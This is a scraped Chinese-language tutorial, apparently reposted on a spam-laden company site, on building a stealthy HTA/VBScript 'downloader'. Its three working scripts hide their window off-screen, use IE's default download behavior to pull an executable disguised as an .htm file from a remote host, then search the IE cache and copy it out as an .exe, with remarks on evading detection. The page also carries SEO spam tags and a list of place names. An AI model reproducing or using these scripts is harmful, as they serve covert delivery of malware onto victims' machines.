濮阳杆衣贸易有限公司

主頁 > 知識(shí)庫 > 做一個(gè)困難重重的hta下載者

做一個(gè)困難重重的hta下載者

熱門標(biāo)簽:南昌辦理400電話怎么安裝 佛山防封外呼系統(tǒng)收費(fèi) 哈爾濱外呼系統(tǒng)代理商 湛江電銷防封卡 徐州天音防封電銷卡 鄭州智能外呼系統(tǒng)運(yùn)營商 獲客智能電銷機(jī)器人 電話機(jī)器人適用業(yè)務(wù) 不錯(cuò)的400電話辦理
一、先說本blog上有兩個(gè)比較新穎的vbs下載者,一個(gè)是利用CDO.Message組件做的,另一個(gè)是用Microsoft.XMLDOM做的,參見https://www.jb51.net/article/15506.htm。這兩個(gè)下載者一個(gè)是利用起來比較麻煩,需要事先把exe進(jìn)行轉(zhuǎn)化。第二使用中cscript.exe會(huì)訪問網(wǎng)絡(luò),不太隱蔽。第二個(gè)是有的機(jī)器上并不存在這兩個(gè)組件及利用到ADODB.Stream的,所以有些弊端。
二、再來說一下lake2的下載者h(yuǎn)ttp://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。這個(gè)下載者算是不錯(cuò)了,但是也有問題。一個(gè)是如果裝了360等其它的瀏覽器的話,會(huì)打開一個(gè)ie窗口,并且從注冊(cè)表中讀到的ie緩存位置不一定準(zhǔn)確。
三、那我們?nèi)绾蝸砀逻@些缺陷?還是有辦法的。我們用hta來寫,這個(gè)就比較少見了.hh.exe訪問網(wǎng)絡(luò)一般估計(jì)會(huì)放行的。寫這個(gè)下載者要解決的困難有幾下幾點(diǎn):

(1).使hta不可見-------------》簡單,移動(dòng)窗口
(2).使hta接收命令行參數(shù)--------------》本blog上有資料
(3).不調(diào)用上邊一、二大項(xiàng)所說的所有組件-----------》這個(gè)我們利用ie的默認(rèn)行為
(4).ie緩存的臨時(shí)位置---------》我用的環(huán)境變量
(5)我們不調(diào)用任何組件-------------------》需要手動(dòng)
四、代碼(直接把參數(shù)寫在hta里)
復(fù)制代碼 代碼如下:

script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見
set objshell= Createobject("WScript.Shell")'hta是可以直接調(diào)用WScript.Shell的,不過不能調(diào)用wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑
set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認(rèn)行為
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'請(qǐng)把exe改名放到空間上,用ftp軟件上傳的話,可能不行,直接放比較好
ShowAllFile(downpath)
Sub ShowAllFile(Path) '遍歷查找,直接用lake2的代碼
FindFileName="xx[1].htm" '這個(gè)也是你需要改的,如果上邊是xx.htm,這里就是xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path"\"f1.name"\"FindFileName) Then
FSO.CopyFile path"\"f1.name"\"FindFileName, "c:\111.exe" '保存到c:\111.exe,可根據(jù)需要改動(dòng)
'document.write "[+]Download Success !"
End If
ShowAllFile path"\"f1.name
Next
Set FSO = Nothing

End Sub
window.close
/script>

用法是:把exe好比xx.exe改名放到空間上,然后命令行下或雙擊這個(gè)hta就可以了。
五、另一份代碼(傳命令行參數(shù))
我個(gè)人覺得第四部份的代碼比較好,修改一下用就可以了。如果調(diào)用命令行參數(shù)的話,我發(fā)現(xiàn)還是會(huì)出現(xiàn)hta小窗口,下載完后才關(guān)閉,所以這不太好。代碼:
復(fù)制代碼 代碼如下:

HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見
cmdLineArray = Split(MySampleHTA.commandLine)'這是把命令中的參數(shù)變成數(shù)組
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '從命令行得到當(dāng)前文件名
temp=split(temp,".")'根據(jù).分割
FindFileName=temp(0)"[1]."temp(1)
LocalName=objshell.CurrentDirectory"\"temp(0)".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))

ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path"\"f1.name"\"FindFileName) Then
FSO.CopyFile path"\"f1.name"\"FindFileName, LocalName
'document.write "[+]Download Success !"
End If
ShowAllFile path"\"f1.name
Next
Set FSO = Nothing

End Sub
Function LastOne(Str,splitStr)
'輸入字符和分隔符,得到最后一部分
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
/script>

用法是:把exe好比xx.exe改名xx.htm放到空間上,然后命令行下好比"c:\xx.hta http://www.target.com/xx.htm",這樣xx.exe就會(huì)保存到c:
六、不調(diào)用任何組件(需手動(dòng)查找下載的xx[1].htm):
復(fù)制代碼 代碼如下:

window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見
set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認(rèn)行為
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close

七、缺點(diǎn)
我這個(gè)hta下載者并不是完美的。第一是因?yàn)橄螺d到的臨時(shí)變量我用到了ExpandEnvironmentStrings("%USERPROFILE%"),這樣在用戶環(huán)境下可用,如果是system權(quán)限下可能不正常(我猜測(cè)的,并沒有測(cè)試)。第二是因?yàn)橄螺d成功后并沒有提示,直接用hta在命令行下顯示出回顯有些麻煩,所以我沒有做,嘿嘿。

標(biāo)簽:紹興 吉安 蘭州 懷化 安康 呂梁 蕪湖 廣西

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《做一個(gè)困難重重的hta下載者》,本文關(guān)鍵詞  做,一個(gè),困難,重重的,hta,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《做一個(gè)困難重重的hta下載者》相關(guān)的同類信息!
  • 本頁收集關(guān)于做一個(gè)困難重重的hta下載者的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    大厂| 佛学| 海口市| 周口市| 安多县| 舒兰市| 鄂托克前旗| 巴南区| 罗源县| 黄浦区| 九龙城区| 高邮市| 涪陵区| 来安县| 渭南市| 黄浦区| 休宁县| 黄冈市| 岢岚县| 宜城市| 三亚市| 林甸县| 安义县| 黄冈市| 南城县| 临邑县| 德兴市| 巴彦淖尔市| 宝山区| 密山市| 翁牛特旗| 南涧| 民县| 盐山县| 永善县| 桂林市| 建德市| 肇庆市| 彭阳县| 上饶市| 阳春市|